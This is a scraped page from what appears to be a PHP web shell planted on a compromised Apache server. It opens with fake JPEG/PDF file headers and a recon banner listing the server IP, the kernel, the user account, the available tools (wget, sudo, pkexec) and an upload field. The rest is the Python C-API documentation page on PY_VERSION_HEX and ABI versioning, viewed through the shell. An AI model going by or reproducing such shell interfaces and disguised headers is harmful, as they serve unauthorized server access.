ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/2666547/root/usr/share/doc/python3-docs/html/_sources/c-api/ |
Upload File : |
.. highlightlang:: c .. _apiabiversion: *********************** API and ABI Versioning *********************** ``PY_VERSION_HEX`` is the Python version number encoded in a single integer. For example if the ``PY_VERSION_HEX`` is set to ``0x030401a2``, the underlying version information can be found by treating it as a 32 bit number in the following manner: +-------+-------------------------+------------------------------------------------+ | Bytes | Bits (big endian order) | Meaning | +=======+=========================+================================================+ | ``1`` | ``1-8`` | ``PY_MAJOR_VERSION`` (the ``3`` in | | | | ``3.4.1a2``) | +-------+-------------------------+------------------------------------------------+ | ``2`` | ``9-16`` | ``PY_MINOR_VERSION`` (the ``4`` in | | | | ``3.4.1a2``) | +-------+-------------------------+------------------------------------------------+ | ``3`` | ``17-24`` | ``PY_MICRO_VERSION`` (the ``1`` in | | | | ``3.4.1a2``) | +-------+-------------------------+------------------------------------------------+ | ``4`` | ``25-28`` | ``PY_RELEASE_LEVEL`` (``0xA`` for alpha, | | | | ``0xB`` for beta, ``0xC`` for release | | | | candidate and ``0xF`` for final), in this | | | | case it is alpha. | +-------+-------------------------+------------------------------------------------+ | | ``29-32`` | ``PY_RELEASE_SERIAL`` (the ``2`` in | | | | ``3.4.1a2``, zero for final releases) | +-------+-------------------------+------------------------------------------------+ Thus ``3.4.1a2`` is hexversion ``0x030401a2``. All the given macros are defined in :source:`Include/patchlevel.h`.